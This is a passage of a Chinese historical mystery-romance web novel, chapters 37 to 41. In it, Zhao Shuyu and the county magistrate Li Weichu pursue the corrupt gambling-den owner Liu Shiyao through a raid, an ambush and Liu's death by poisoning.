李惟初却微微蹙眉,不满地斥责道:“你在胡说什么?果真是不知所云!”
“我没胡说!”赵疏玉用力推了他一把,而李惟初手上的劲却愈紧,撞了自己一个满怀。
“邱元冲的事,明明,明明他无错,你却助纣为虐,眼睁睁看着一条人命就这么毁在袁群毅的手里。”
“二十七女自焚案,你也避之不谈,给了刘世尧可喘息的机会,才让他将周玥带走,最后一个活着的证据就这么入了狼窝,她若死了,案子便彻底没了线索,周德那儿,又该怎么交代?”
李惟初看着她发怒,只是淡淡不再看她,眼神避开她灼灼的目光,道:“这不是你该管的事,赵疏玉,别再查了……你查不起的。”
“所以这就是你将我送给袁群毅做妾的原因是吗?为了让我不再查这些案子,做稳你江南县令的位子,就要拿我,来讨好上级官员是吗?”
李惟初一头雾水地听着她向自己指摘,十分不解地看着她,“你在说什么?我何时让你去给袁群毅做妾?”
“不是吗?袁群毅可是亲口告诉我的。”
“你一向聪明,怎么在这事上失了慧?他亲口告诉你,这件事就是真的吗?你可求证过?”
“你这两个多月避我不见,不就是因为心虚,不敢见我吗?”赵疏玉说罢还抬头看了一眼他,见他眸光似有闪躲,更加肯定心中的猜测。
“若非你答应袁群毅要让我做他的妾,你又怎么会两个半月避之不及案?”
“公务繁忙,实在是……”
“你在说谎。”
见赵疏玉仍紧紧相逼,李惟初的目光便也冷下三分。
“赵疏玉,我说过,典妻案不是你想查便查,你以为你为什么废了一条腿?”
“这是袁群毅给你的警告,也是他背后势力对你的警告。他动你,是为了警告你我不要再深查纵火案的背后,刘世尧大张旗鼓地将周玥带走,亦是。”
“赵疏玉,我不想你死,知道吗?”
见他态度依旧十分笃定,赵疏玉抬起头十分复杂地看了他一眼,又垂下眸,掩下眸中的失望。
“那要我活生生看着周玥去死?”
“我做不到。”
38. 良药苦口,但这也太苦了啊!^^……
李惟初见她执拗至此,脸上染起一抹薄怒,手上的力气也在不断加深。
“你想怎么救?”
良久,他吐出这句话,问她。
“……你这般讽我又是干什么。”赵疏玉撇头,不满地回道。
“你有何计,能够躲过袁群毅的眼线,顺利抵达刘府,再找到周玥所在的房屋,顺利把她带出来?你若说得出,我便帮你。”
赵疏玉的眸中闪过一丝凝重。
她膝盖上的伤还没有完全好,要进刘府顺利把人救出来简直难如登天。
在李惟初深深凝视的目光中,她垂下眸,不再与之对视。
“既然没有办法,就好好待在县衙把伤养好再说。”
“来不及了。”赵疏玉呢喃道,“我怕周玥会像邱元冲的女儿一样消失,连尸骨都找不到。”
“你怎么确信邱元冲的女儿是被刘世尧……”
赵疏玉直道:“邱元冲赌光了家产,妻子被典走还债,女儿也突然消失了,可医馆却在女儿消失之后开得风生水起,从没人去找茬,这难道不奇怪吗?”
“有理。”李惟初点点头。
他一把打横将赵疏玉公主抱起来,惹得赵疏玉一惊。
不禁惊呼出声,“唔,你做什么?”
“夜深了,自是送你回去休息。”
“对周玥的事,你到底有什么想法!”赵疏玉怒瞪着他,连往日的平静都不知丢哪儿去了。
李惟初目视前方,抱着她稳步向前,“急不得。”
“什么意思?”
“欲使其亡,先使其狂。”
李惟初只说了这句话便不再往下说了。
赵疏玉也在他说完这句话后淡淡垂下眸子,不知是何用意。
她思忖良久,抬眸看向他如刀削般棱角分明的脸,视线却只够得到他的下颌。
清冷的月光洋洋洒洒在李惟初的身上,好似裹挟一身风霜,却依旧□□着,淡漠着,与世疏离。
这时,赵疏玉忽然问他道:“你有什么打算?”
李惟初的眸光凛冽地射出一道寒光,“查抄赌坊。”
“编撰什么理由?”
“死无对证。”李惟初淡淡开口。
赵疏玉一秒会意。
邱元冲已经死了,死之前只有她在场,他若说了什么话,自然只有赵疏玉一人知道。
那么……
赵疏玉的唇角微微勾起一丝笑意,“县令的意思,我明白了。”
终于,李惟初的目光往下移了分毫,与赵疏玉眸中的亮色对视,一刹,又抬起头,神色无异地面视前方。
“孺子可教也。”
“我会做口供,也只有我我才能做口供。明日我便白纸黑字写下……”
“不是要你说谎。”李惟初无奈地叹了口气,轻声对她说道,“我这几年搜集到许多刘世尧的罪证,只是一直苦于没有机会,能够顺理成章地查抄赌坊。是恐目的太过明显,引人侧目,招来麻烦。”
“朝中有无数只眼目盯着我,只等我犯一丝错误便致我万劫不复之地,我无法施展自身,更无法明目张胆地去做。”
“所以你就在暗中查是吗?乱葬岗那夜,想必也不是偶遇。”
李惟初并没有回答她的话,只道:“谁人半夜不就寝赴往乱葬岗?难不成这乱葬岗里有什么灵异鬼怪吗?即使真有,也不该是我一个县令去除。”
“你查到沈怀夕,也是被刘世尧典当的女子,是吗?”
“是。”
赵疏玉又问:“那你找她是为了什么?不止为了抓刘世尧的把柄,对吗?”
“你既心知,不必再说出来了。有些事,你看着清楚,实则一团污秽,若要抽丝剥茧一件件梳理……”李惟初摇摇头,“这本就是一本理不清的旧账。”
李惟初抱着她穿过花园,夜晚的花园里盛开着紫色的鸢尾,花瓣向四周绽放着,如同黄色羽毛般刻印在花瓣中央,十分美艳,而花心巍巍然立起,更显雄姿。
花坛中亦种着秋海棠,蝴蝶花和蔷薇。
这些花儿被养的极好,娇艳欲滴,活脱脱似含苞待放,倾国倾城的美人。
“你很喜欢花?”
李惟初摇摇头,他嗓音清冷,暗哑道:“不。”
可他并未说是谁喜欢花。
赵疏玉的脑中忽然闪过李惟初口中的“她”。
她,是她吗?她喜欢这满园子的花,所以李惟初便种满园子的花。
“那你屋前的那颗槐树,也是她喜欢的吗?”
“不是。”李惟初又回道。
赵疏玉垂眸,不再询问。
路漫漫,夜空中的几颗星星,闪烁几下后便消失不见,收敛了光芒与月亮玩起躲猫猫的游戏。
直到路尽,看到锦夏在屋前焦急地走来走去,赵疏玉复又抬头向他望去,声音平静地问他道:“袁群毅说的都是假的,你没有把我送给他做小妾,是吗?”
“是。”李惟初面色平静,目视前方,不假思索地回道。
“你没有骗我。”
闻听这话,李惟初的嘴角微微勾起,问道:“我若是骗你,你该当如何?”
“杀了你。”赵疏玉的语气中裹挟着冷意,并不似在开玩笑。
而李惟初嘴角的笑意便更明显了,轻轻道:“真凶。”
轻到连赵疏玉都没听清,于是问他道:“什么?”
“我不会将你典给任何人。”李惟初的语气放缓却异常坚定。
此情此景,却让他的脑海中不禁想起一个人。
‘等我长大了,让我来保护你,好不好?’
女人微笑着点点头,对小小的李惟初甜甜地说道:“好。”
赵疏玉不知他脑中所想,只听得他的话后,终于将这一颗悬着的心放下。
她撇过脸,冷冷道:“便信你一次。”
锦夏看到赵疏玉,兴奋地差点要迎上去,可又看到是李惟初抱着赵疏玉回来,她一下子便止住了步伐,收敛起脸上的笑意。
恭恭敬敬朝李惟初行了个礼,“见过县令。”
李惟初微抬了一下下巴,便径直走进屋中。
他把赵疏玉轻轻放在床上,锦夏点燃屋中的蜡烛,一室照明。
李惟初回头望了一眼这亮闪闪的蜡烛,心生不满地看了一眼锦夏。
随后他回头对赵疏玉嘱咐了几句。
“先把腿上养好,再去管外头的事情。”
赵疏玉仍心心念念她的案子,见李惟初要走,便又拽住了他的衣袖,李惟初回头看见她一双大大的眼睛,眉心微动,问道:“还有何事吗?”
“赌坊,你说查抄赌坊的理由,什么时候写?”
李惟初真是拿她没办法,无奈地伸出手点了一下她的眉心。<
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p>摇头叹道:“真是废寝忘食,本官手底下要多几个像你这样整天把案子记在心头的人,那便是有十个袁群毅都不在话下了。”
“先睡吧,待你明日睡醒,我自会差人来让你画押。”
见赵疏玉脸上还是一脸纠结的神色,李惟初眸光微动,再问道:“还有何事吗?”
赵疏玉点点头,有种不情之请的感觉。
“查抄赌坊的结果,我能不能知道?毕竟,这是我用一条腿换来的。”
李惟初摇摇头。
正当赵疏玉觉得没戏时,他竟然说:“你的腿伤可是你自己个混不计后果找袁群毅理论,惹恼了袁群毅才受的伤……不过念你旧功,我会将赌坊的结果告诉你。”
“现在,好好睡一觉吧。”
听到他说‘会将结果告诉她’,赵疏玉这才彻底放心,心满意足地撒开手,脸上难得露出一丝笑意。
“那便多谢县令了。”
待李惟初走后,锦夏又十分紧张地走到赵疏玉身边,将她浑身上下都看了个遍。
之后,才松了口气。
“赵姐姐也真是的,深更半夜跑去哪里了?叫我好一通找,害怕姐姐被袁巡抚抓走……可吓死我了。”
锦夏心有余悸地吐出一口浊气,拍拍胸脯,“好在最后是县令送姐姐回来,不然可就麻烦了……”
“是啊。”赵疏玉点点头。
如果不是因为遇见他,她或许就能证实心中的猜测了。
总得要再找个时间,再去一趟停尸间。
如今还不可全然相信李惟初,她自然不会将已知的消息全然告诉他。
这是心中的这个猜测,还是应该尽早证实。
李惟初既然把二十七女的典妻文书都藏了起来,那么她自己也该换条路去走。
她有预感,她离那个答案已经很近了。
“姐姐?赵姐姐?”锦夏见赵疏玉失神,不知在想什么,她推了推赵疏玉。
“怎么了?”赵疏玉从思绪中转回现实。
锦夏一脸担忧之色,她端来一碗药汤,在赵疏玉不解的目光中,她解释道:“县令知道姐姐的睡眠不佳,故让季太医开副药方好好调理呢。”
看着这黑漆漆的汤药赵疏玉就发怵,感觉还有点ptsd。
一看到这冲味十足的中药心脏就忍不住发慌。
唇舌之间不禁分泌出苦涩的唾液,她一脸不情愿地看向这碗安神药,问锦夏道:“一定要喝吗?”
锦夏虽不想忤逆赵疏玉的意思,但她希望赵疏玉能够快点好起来,于是她也一脸为难地看向赵疏玉道:“如果县令知道赵姐姐没有好好服用汤药,会将奴婢……赶出去的。”
“好了。”赵疏玉不想别人跟着自己无故遭连累,她一把端起汤药,好似下定决心般咕咚一声吞咽下肚。
苦涩瞬间填满口腔,一股难以下咽,令人作呕的感觉随之而来。
似有两股力量分庭抗礼,阻挠着赵疏玉咽下。
好不容易咽下,赵疏玉半死不活地躺在床上,两眼空洞呆滞,一脸命不久矣。
“噔”的一下,赵疏玉的眼前出现一颗甜甜的蜜饯,锦夏笑眯眯地说道:“县令说了,姐姐喝完药之后才准吃哦。”
赵疏玉有些气恼地将这一颗蜜饯用力塞进嘴里,心头却冒起一股无名之气。
连她自己都不知道,她为什么会生气?
39. 数罪并罚,警示敲打
许是季鹤安医术高明,亦或是心理暗示,总之,她这一夜睡得的确比往常要舒服很多。
而锦夏也早早的起身给她煎药,见赵疏玉悠悠转醒,她笑着将赵疏玉撑靠在床栏边,道:“赵姐姐今日比往常多睡了半个时辰呢。”
说着她便端着一碗药走到赵疏玉床边,嘟了嘟嘴,嗔怪道:“药都凉了呢。”
“好在我又拿去重新热了一热,赵姐姐快喝吧。”
赵疏玉轻嗯了一声,手指颤颤地端上那碗药。
每天两眼一睁就是喝……
她仰面一口干了药汤,随后又立马接过锦夏手中的蜜饯,苦哈哈地含在嘴里。
她的一世英名就快毁在这中药上面了。
脑中仍想着那案子。
腮帮子鼓起一块,赵疏玉连忙问锦夏道:“李惟初有没有派人来?”
锦夏点点头,道:“我刚想和姐姐说这件事呢。”
她指了指门外,“维寻大人站在门外许久了,手里还端着什么东西,我并没有看清。”
赵疏玉立刻便道:“快请维寻进来。”
锦夏嗯了一声,她转身走到门外,低眉顺眼地走到维寻身边,福了福身道:“维寻大人,赵姑娘已经起身了。”
维寻点了点头,进屋时赵疏玉正在洗漱,他走至屏风后便停下了,他将盘子里的东西移交给锦夏,道:“姑娘内屋,维寻不变入内,便由锦夏呈给姑娘。”
“姑娘看完画押后尽快交给属下,属下要交差于县令。”
赵疏玉点点头,她道:“知道了。”
锦夏一直垂眸不敢看一点不该看的东西。
“赵姐姐。”
赵疏玉的目光紧紧盯着都承盘上的东西,待锦夏呈上来后,她伸手接过都承盘。
仅一眼,她便看出了端倪。
层层叠叠,规规整整的薄纸上密密麻麻记录着刘世尧的罪证。
流水作假,赌坊出千坑害钱财,棒打无辜百姓,逼迫周德做假证妨碍公务,再逼周氏夫妻自缢,强堵邱老板之口以立自威。
强掳民女,逼迫百姓,在江南作威作福。
赵疏玉看尽,不禁叹道:“你们县令还真是不鸣则已,一鸣惊人啊,条条罪证哪一条都够他倾家荡产锒铛入狱的了,如今数罪并罚,能否逃过一死都是个问题。”
“如今才查抄一个赌坊,想必实为警示刘世尧,下一个抄的,就该是他的家了吧。”
维寻在屏风外向赵疏玉揖礼道:“姑娘聪慧。”
“这是什么?”赵疏玉拿起右边的一张薄纸,与旁边层层叠叠厚厚的一沓形成鲜明对比,在薄纸的一侧还有一只毛笔和红泥印。
她拿起那张薄纸一看,条条列出赌坊这几年来犯下的事,但里面标明这桩桩件件都是经由邱元冲的口对赵疏玉说出这番话。
所以如此一来,赵疏玉这个人证就显得格外重要了。
邱元冲已死,口供能否生效,全旨在赵疏玉的一念之间。
不得不说,李惟初这招真的很妙。
事了拂衣去,深藏身与名。
赵疏玉唇边勾起一抹笑意,道:“不错。”
说罢,她便放心地抬笔写下赵疏玉这三个歪歪扭扭、奇丑无比的大字,再印上了红章。
随后她轻声道:“锦夏,去还给维寻。”
“好。”
赵疏玉又想到什么,在维寻接过都承盘后,她不紧不慢地问他道:“袁群毅这几个月尚无动静?”
维寻一愣,他摇摇头,抿唇道:“只是县令说了,要让姑娘好好养伤,外头的风吹草动一概不许告诉姑娘。”
赵疏玉心中一紧,拧眉问道:“难不成发生什么事了吗?”
维寻低眸,眼珠在眼眶思索几圈,方道:“姑娘好好休息,属下先行告退。”
“哎等等。”
可维寻并非是她的下属,在她面前自称“属下”已是自谦了,她并非是他的主子,当然命令不了他。
见维寻什么也没说径直转身离去,赵疏玉心头的好奇便越深,挣扎着要下床亲自探去。
锦夏一见,连忙扑到赵疏玉身边,她大声道:“赵姐姐,你腿伤还没好,实在不能下地啊!”
“季太医也千叮咛万嘱咐,切不可让您下地行走啊!”
赵疏玉伸手将那根拐杖拿在手里,蹙眉问锦夏道:“我就知道这几个月袁群毅必定不会那么安生,他明里暗里又做什么事,你们都瞒着我。”
“赵姐姐,不是,我……”
“连你也瞒着我。”
锦夏一把抱住赵疏玉的双臂,拦住她,“赵姐姐你不要生气,你不要生我气,我不是故意瞒着姐姐的。”
见赵疏玉依旧蹙眉不展,锦夏的眼泪忽然从眼眶中蹦了出来。
“是县令让我不要告诉姐姐的……”锦夏哭着道,“县令说将这些无关紧要的事情告诉姐姐,姐姐不仅帮不上什么忙,还养不好伤。县令说,若是我心疼姐姐,便不要告诉姐姐外头发生的事,让姐姐好好养伤,否则,就将我赶出府,发卖出去。”
“姐姐你不要怪我,你不要生我的气好不好,姐姐……”
赵疏玉曲起一根手指,轻拂去锦夏脸颊上晶莹的泪珠,良久,她叹了口气,总算是坐下。
“我帮不上什么忙……”
赵疏玉忽然自嘲一笑,“都怪我自己莽撞,不计后果硬要出头,才被袁群毅趁机抓住空子……”
她抹了把脸,哑声问道:“周玥……她还好吗?”
锦夏止住了抽泣,她跪在赵疏玉脚边,小声说道:“听说玥姐姐被抢去那晚,刘府一整夜鸡犬不宁,时不时便传来尖叫的声音……不知是不是玥姐姐在刘府里受了委屈,我也不敢告诉姐姐,怕姐姐一怒之下要去劫人,致自己于危险之境。”
赵疏玉摇了摇头,她道:“我没你想得那么愚蠢,自是不会硬劫……”
“只能智取了。”
她曾答应过周德要好好保护周玥。
“对了。”她忽然想到什么,“周德的伤如何了?我本想找个时间去看他,却不曾想自己也……”
锦夏笑了一下,脸上的笑容很
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有安定人心的作用,“周德哥哥已经没事了,只不过袁巡抚那边一直有人盯着,他一时还入不了县衙。”
赵疏玉点点头,“只要确认他人安全就好了。”
说着,她指了指梳妆台旁的一个麻布袋,对锦夏道:“周德没有营生,在外头不知能过活,那袋子里是我上次在刘世尧赌坊里赢来的钱,虽不是什么正经钱财,但总比没钱在外头饿死冻死的强。”
“你拿一些去给凉丝,请他帮我悄悄给周德。”
锦夏哎了一声,立刻去翻了一些银子,临走时,她目光闪动,眨巴眨巴两下眼睛问赵疏玉道:“姐姐为什么要对每个人都这么好呢?他们是死是活和姐姐又有什么相干?在火场中……姐姐又为何要救一个连面也没见过的人?姐姐,锦夏不明白。”
听到锦夏一连串地问她,赵疏玉也一时不知该如何作答。
“我知道。”
她道。
她知道自己根本没有这个必要,也没有这个义务去救任何人。
可这是阿余的梦想。
她的小阿余,不希望看到任何分别。
更何况是死亡的离别。
赵疏玉干笑了一声,她道:“就当我……最喜欢多管闲事了吧。”
锦夏眼眸微垂,最后抿着唇笑了一下,“赵姐姐,只要你高兴,那我也高兴。”
随后她向赵疏玉绽放一个大大的笑容,转身离开了。
锦夏并没有说袁群毅的事情,可赵疏玉心中有数,以他的性格,怕是早就鸠占鹊巢,把江南县衙当作他可以肆意呼风唤雨的地方。
欲使其亡先使其狂。
李惟初的一再忍让,是在蛰伏着吗?
正当她失神思考的时候,季鹤安的声音清灵地在门外响起,他向赵疏玉作了礼,随后便抬步穿过屏风走了进来。
“如今天气渐凉,姑娘须得注意保暖,四周窗门大开,姑娘应当盖好棉被才是。”
季鹤安的眸光一直低垂着,直到赵疏玉上床将自己裹好之后,他才目光上移。
赵疏玉懒懒地靠在床栏上,看着他问诊号脉,又再药箱里不知捣鼓什么,最终写下一副药方放在桌上。
见他优哉游哉,不紧不慢的样子,赵疏玉便有些急了。
毕竟,她真的比谁都希望自己能够早日下床。
问道:“季太医,不知我这腿伤何时能恢复?又何时能下地行走?”
季鹤安抬头望了一眼赵疏玉,见她眸中似有急色,又低头继续写药方,轻笑一声回答道:“姑娘这几月按时上药喝药,已经好很多了,只是这骨骼新生,想必还要有段日子,为求稳妥,还是再多静养几月吧。”
药方写好后,他停笔,将东西又一一整齐地放回药箱,独留那份字迹未干的药方。
他道:“这是在下新开的药方,主要用于调理气血,活血化瘀,来助姑娘的伤势早日恢复。不过……”
他抬眼看了一眼赵疏玉,眯了眯,道:“还望姑娘务必谨记,无事静养为上,外面的一切自有专人处理,姑娘只需安心养伤即可。”
40. 揉开眉间的愁绪
锦夏再次回来的时候,脸色整个都是煞白的。
赵疏玉一眼就发现了锦夏的异样,在她颤颤巍巍地端上赵疏玉的药汤时,她微微下垂眼神去端详锦夏眼里的惊慌。
温热的药碗在赵疏玉的手掌里散发着暖暖的热气,锦夏好似是感觉到了头顶探究的视线,她抬头干笑一声,装作什么事都没有发生的样子。
“赵姐姐。”
赵疏玉一眼便看穿她的破绽,问道:“怎么了?外面发生什么事了吗?”
“不!”锦夏立马矢口否认,“没有,真的,赵姐姐,快把汤药喝了吧。”
赵疏玉略略蹙眉看向这一碗黑糊糊的汤药,旋即仰面喝下。
苦涩弥漫在整个口腔,不过这几个月一碗又一碗的汤药喝下肚,她的舌头也慢慢麻木了。
喝尽后,赵疏玉狐疑地看了一眼锦夏,她伸手捏住她的衣裳,好让她不就立即转身就走。
“是不是李惟初出了什么事?他去查抄赌坊的时候受伤了吗?”
见锦夏低着头不置可否,她颇有些急切问道:“是吗?锦夏,回答我。”
锦夏似是承受不住赵疏玉炽热的目光,她“啪”地一下就跪下了,以首贴地略带哭腔道:“姑娘!县令查抄赌坊返回的路途中遭受伏击,一支带毒的羽箭直冲县令胸膛!维寻大人替县令挡了一击,如今生死未卜!带去的官兵死去大半,县令……也受了重伤!”
说罢,锦夏吓得发抖,整个人缩在地上。
“怎么会这样……”
赵疏玉虽早有预测此行或许不会太顺,但……
但她万万没有想到竟然会有人敢这么明目张胆地光天化日之下,当街刺杀当朝县令!
赵疏玉的手底下的床单皱成一团,一双远山眉紧紧蹙起,眉间聚起一团浓浓的愁绪,夹杂着一丝烦躁。
她目光一瞥,瞧见锦夏还跪在地上,她掀开被子,亲将锦夏扶起,一抬头便看见她凌乱的发丝下遍布泪痕。
“别哭了,快去下去收拾一下,早点睡吧。”
锦夏似乎是被吓得不轻,她摇摇头,紧紧攥住赵疏玉的被单,又跪下,抬起一双湿漉漉的眼睛看向赵疏玉,祈求道:“赵姐姐,我害怕……我能不能,我能不能和姐姐一起睡。”
她的手渐渐从床被上移到赵疏玉的一角衣角,生怕她会拒绝似的,她的目光更加可怜兮兮。
“姐姐……”
她嘟囔道。
赵疏玉终是抵不住,她轻叹一口气后将她扶起身,“不要跪我。你我都是一样的身份,不需要跪我。”
她指了指屏风外的一个小榻,道:“你既害怕便在小榻上歇息一晚,不过我现在需要出去一趟。”
锦夏得了首肯,欣喜之情抑制不住地从嘴角绽开,她“噌”地一下起身,笑意盈盈地对赵疏玉道:“好!好!我现在就去给赵姐姐拿手杖!”
赵疏玉却摇摇头,拦住她道:“我不用拐杖,这样太瞩目了。”
锦夏却愣住,她脸上忽然冒出一丝惊慌与担忧,“这怎么能行?赵姐姐你的腿伤还没好呢!”
赵疏玉却是一瘸一拐地下地,她低眼看了一眼那只受伤的右腿,手轻轻抚上,再抬眸时,她道:“无碍,我慢慢走就是了。”
“可是……”锦夏皱眉,似是仍想再劝。
可赵疏玉已下定主意,她拖着一条腿慢慢出了屋子。
如今这县衙怕是早已成了袁群毅的天下,李惟初退之又退,忍之又忍。
县衙十分之大,赵疏玉并不能认得每一条路,但她凭靠着记忆,循着那颗大槐树而去。
好在赵疏玉所住的地方离李惟初的地方并不是很远,她避着人,行路慢慢地朝那儿摸索过去。
李惟初房屋里的灯已经完全熄灭了,不知是何缘故。
锦夏说李惟初也受了重伤,按理来说,那里郎中应当是候了满屋,怎么也不至于黑灯瞎火?
心下压下这个疑问,悄摸摸移了过去。
她甫一靠近门口便听得里头细细小小地传来女子的声音。
随后便响起李惟初低沉的声音。
赵疏玉一愣,她脚底真想抹油立刻转身离开,可如今她腿伤未愈,要想一步步挪……
脑中正盘算该怎么悄无声息地离开,便听得里头的谈话。
“这件事你太冒险了,若万一事败你该如何?”女子刻意压低的声音清晰地穿进赵疏玉的耳中。
赵疏玉一顿,脑中飞速便抓取了某一段记忆。
这道声音她听过,她与李惟初去药玉坊之前,他曾去一个空阔的大宅里拜访了一个女子。
那时他们正在谈论解决李惟初处死县丞的事情,那时候对李惟初说话的女子,与今夜女子的声音极其相符。
想必就是她了。
可她的身份,又是谁?
李惟初似乎和她颇有渊源?
是他口中的“她”?
毕竟那所大宅进门的两侧栽满各种各样的花。
“本就是袁群毅居心叵测,我不过是借坡下驴罢了。”
“东西呢?”
那边沉默了一秒,随后一阵深沉的低音道:“被劫走了。”
女子那边也没了声音,似乎对他的行为很是不满,她刻意压低呼吸声,却难掩她的愠怒。
“上次你杀县丞之事,若非本宫帮你压下,你还有命好端端稳坐你的县令吗?”
那女子一副恨铁不成钢地看着他道,“你还在想她的事?!李惟初,本宫告诉你,舍不断儿女情长,以后便不要来见本宫!”
“本宫不会把时间浪费在你这样无用之人身上。”
李惟初低垂下眸,方想说些什么,余光正好落在门外,借着月光看清一道黑影。
他的眸色瞬间凛冽,闪过一丝嗜血的杀意。
可还未等他出手,屋中的女子便如一道闪电般飞速闪到门外,她袖袍一挥,大门大敞,未等赵疏玉反应一把闪着寒光的匕首就已横在她的脖颈上。
赵疏玉背对着明丽的月光,银辉下她看清了这女子的样貌。
明眸皓齿,一张无可挑剔的瓜子脸上一对一字眉凛冽的眉峰正对一双饱含杀意的眼睛。
高挺的鼻骨,正红的唇脂衬得她身上的一袭红衣更甚明艳动人,真是好一副玉貌花容!
仅一眼,赵疏玉便不禁叹道。
这世间想是没有比她更美更英气的女子了。
她的动作快似一阵风,让赵疏玉根本就没有一丝回转的余地。
真是天下武功唯快不破!
武艺真真超群。
赵疏玉的眸底满是欣赏
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而在女子想要割断赵疏玉的喉管那一刻,李惟初看清了来人的样貌,压低声音低喝一句,而后飞快奔向赵疏玉身前,边跑时边道:“殿下且慢!”
女子偏首一瞧,又回眸看了一眼赵疏玉,这才将匕首放下,她从腰间拿出一块方帕,轻轻擦拭了一下那把闪烁着寒光的匕首,擦得发亮。
女子又将匕首拿在月光下细细端详,确保没有沾染到一丝不干净的痕迹,这才将匕首收回鞘。
随后她双手环胸站在一侧,侧着脸不去看赵疏玉。
李惟初则站到她身边,打量了一眼她那只受伤的腿,不满地斥问道:“你的腿伤还没好,大半夜瞎走什么?”
赵疏玉却是一脸狐疑,她实话道:“我听闻你遇袭受了重伤,自是来一辨真假。”
说罢,她挑了一下眉。
李惟初侧开她讥讽的眼神,仍旧锁着眉,“没规矩。”
他侧眸看了一眼殿下,只听女子冷哼一声后,她立即一个翻身上树,一跃后便消失在了黑夜里。
赵疏玉正惊叹她的轻功竟然这么好时,额头忽然传来一阵疼痛。
她捂住额头,“嘶”了一声,不悦道:“你做什么?”
李惟初单挑一下眉,他耸了耸肩,佯装无所谓地说道:“你知道自古以来什么人死的最快吗?”
“知道太多的人。”
李惟初轻嗯了一声,“你既知道,为何还要偷听墙角?”
赵疏玉轻咬了一下下嘴唇,有些不好开口问道:“我只是想知道赌坊的事情怎么样了。”
李惟初呼吸上下起伏一刻,随后他转身十分轻松,大步流星地走进了屋子,不像是受了伤的样子。
而赵疏玉则一小点一小点地在后面挪着脚步。
李惟初正觉为何她走这么慢时,一回头便见她正一瘸一拐地艰难行走。
他无奈地摇了摇头,随后走到她身边一把将她抱进屋子。
赵疏玉一瞬间腾空,她不习惯双脚离地,感觉自己被捏住后脖颈似的,挣扎扑腾道:“放开,放开我!我能自己走!”
李惟初将她抱到凳子上坐好后才撒手,不忘嘲讽一句,“等你走进来,天都亮了。”
随后他便敛了神色,他回归正题,道:“午时我带人维寻一行人去查抄赌坊,没想到在返回的路上遇到了埋伏。”
“随后你就丢了很重要东西?”
李惟初却是神秘地勾了一下唇,勾起赵疏玉看不懂也猜不透的笑容。
赵疏玉立刻否认了刚才的想法,立刻道:“你没有弄丢那些东西。”
李惟初唇边的笑容不减,他道:“我自是早就注意到了外头的小尾巴,故意出此一言罢了。”
“被他们抢走的那些东西都是一些不值一提的小账,在我手里的那可才是货真价实的宝贝。”
赵疏玉紧紧蹙着眉头,一脸匪夷所思地盯着他看。
李惟初轻笑一声,他伸手替她揉开她紧锁的眉间,低沉的声音轻声道:“很意外吗?”
见赵疏玉不答,李惟初一瞬间又凛下眉目。
说了一句令赵疏玉尤为震惊的话。
“刘世尧死了。”
在赵疏玉不可置信的目光中,李惟初轻吐出六个字。
“中毒暴毙而死。”
41. 再探谜案
“死了?!”
赵疏玉几乎错不开眼,一瞬不瞬地盯着李惟初,似乎想从他的神色中瞧出一丝一毫与她开玩笑的色彩。
可李惟初的眸色几乎没什么变化,依旧很平淡,也很严肃,毫无玩笑之意。
李惟初的沉默与神色在告诉赵疏玉,刘世尧真的死了!铁板铮铮!
半晌,赵疏玉的神色逐渐由惊讶变得坚决,“刘世尧一死,周玥不能再有事。”
“否则二十七女背后之事就会彻底断了线索。”
李惟初轻点头,他直起身道:“的确如此。”
他眼眸眯了眯,“不过我如今身受重伤,无法也无心管理门外之事,一切大权事物自是交给袁巡抚去做。”
“包括这件事。”
赵疏玉却看不懂他的盘算,不赞同地道:“你若是称病不出,难道就由得袁群毅这般兴风作浪吗?”
“有些事情管不得,不如明哲保身啊。”李惟初轻甩了甩袖,似笑非笑道。
“你又有什么盘算?”
经上次的事情之后,赵疏玉不再那般气盛,反而沉下心,去探寻李惟初的言下之意。
“我的盘算自是不与人说。不过刘世尧暴毙之事实在可疑,不似寻常中毒身亡。”
李惟初轻抬眉头,视线落到正垂眸一脸沉思的赵疏玉身上,道:“你不问问我刘世尧是什么时候死的吗?”
“不难猜测。”赵疏玉抬头与之对视,启唇轻吐道,“若是刘世尧死了,你就不会去查抄赌坊,因为这样做并没有任何意义,唯一的可能就是——刘世尧是在你查抄赌坊之后死的了。”
“如此一来……”赵疏玉眼眶里的眼珠上下转动,不断疏离整件案子的起因结果,最终想出一个可能性。
“若非自杀,便是有人为了封口而毒杀刘世尧。”
赵疏玉轻轻捏了几下手指,抬眸道:“毕竟刘世尧的身后是那些。”
“查抄赌坊就意味着他们的秘密有可能被泄露,而唯一掌握这些秘密的人,不只是他们,还有刘世尧。刘世尧作为他们投放在江南的一颗明棋,明棋失去了价值,还有可能威胁到他们的地位和处境,他们身后的人又怎么会放过刘世尧继续让他活着。”
李惟初的目光紧紧凝视着赵疏玉,他不禁感叹于赵疏玉是一介女流,竟将案件背后分析得条条是理,说无遗漏,不禁好奇她究竟为什么会分析这些?
是谁教她的?
他可不相信有人天生就有推理的天赋。
想着,他的神色中多了一分警戒。
沉声问她道:“这些,是谁教你的?”
“什么?”赵疏玉还处在头脑风暴之中,忽然被这一声给打断思绪,她有些不悦地怨看他。
“你连尸首都没有验过,怎么能够推断这么多?这样卓越的推理能力,你可别告诉我,这是你与生俱来的天赋。”
赵疏玉轻笑一声,她清了清嗓子,敛起笑意道:“这自然不是我与生俱来的天赋,只不过是从小飘零孤苦,看惯了有人因各种缘由杀人,久而久之成了习惯,只要有人被杀死,习惯性地便去推理一番,再与当地公布出来的结果一对比,是非对错改上一改……”
“这也算是飘泊时期唯一的乐趣吧,脑海再也不是吃了上顿愁下顿。”
提到自己是孤女时,赵疏玉的眸中极快地闪过一丝落寞。
她的前半生,又何尝不是在孤儿院度过的呢。
除了不像浮萍一样飘零,其他什么都是一样的。
而李惟初一直紧盯着她的神色,自然没有错过她眼中极快地闪现过一丝落寞的神情。
正因如此,李惟初内心的疑虑尽可消除。
人下意识的反应是不会说谎的。
李惟初的目光不像方才那般锐利,声音也不似方才那般沉冷,不过又像是想到什么,他的神色又变化一瞬,问赵疏玉道:“你方才说,深夜前来偷听墙角实为担心我的伤势?”
赵疏玉知晓他是在疑心自己的动机,她推开离自己越来越近李惟初的脸,他眸中的疑虑都快写脸上了。
她十分无奈道:“我们回归正题好吗?我猜测刘世尧的死一定和袁群毅脱不了干系。”
“你担心我的伤势?”李惟初又问了一遍。
赵疏玉却不想和他纠结这个问题,她以为李惟初还在怀疑自己半夜前来偷听墙角的动机,她摊开了手,实在无奈道:“我真没有偷听你们墙角。我不是先知,无法预测谁今日会来是不是?”
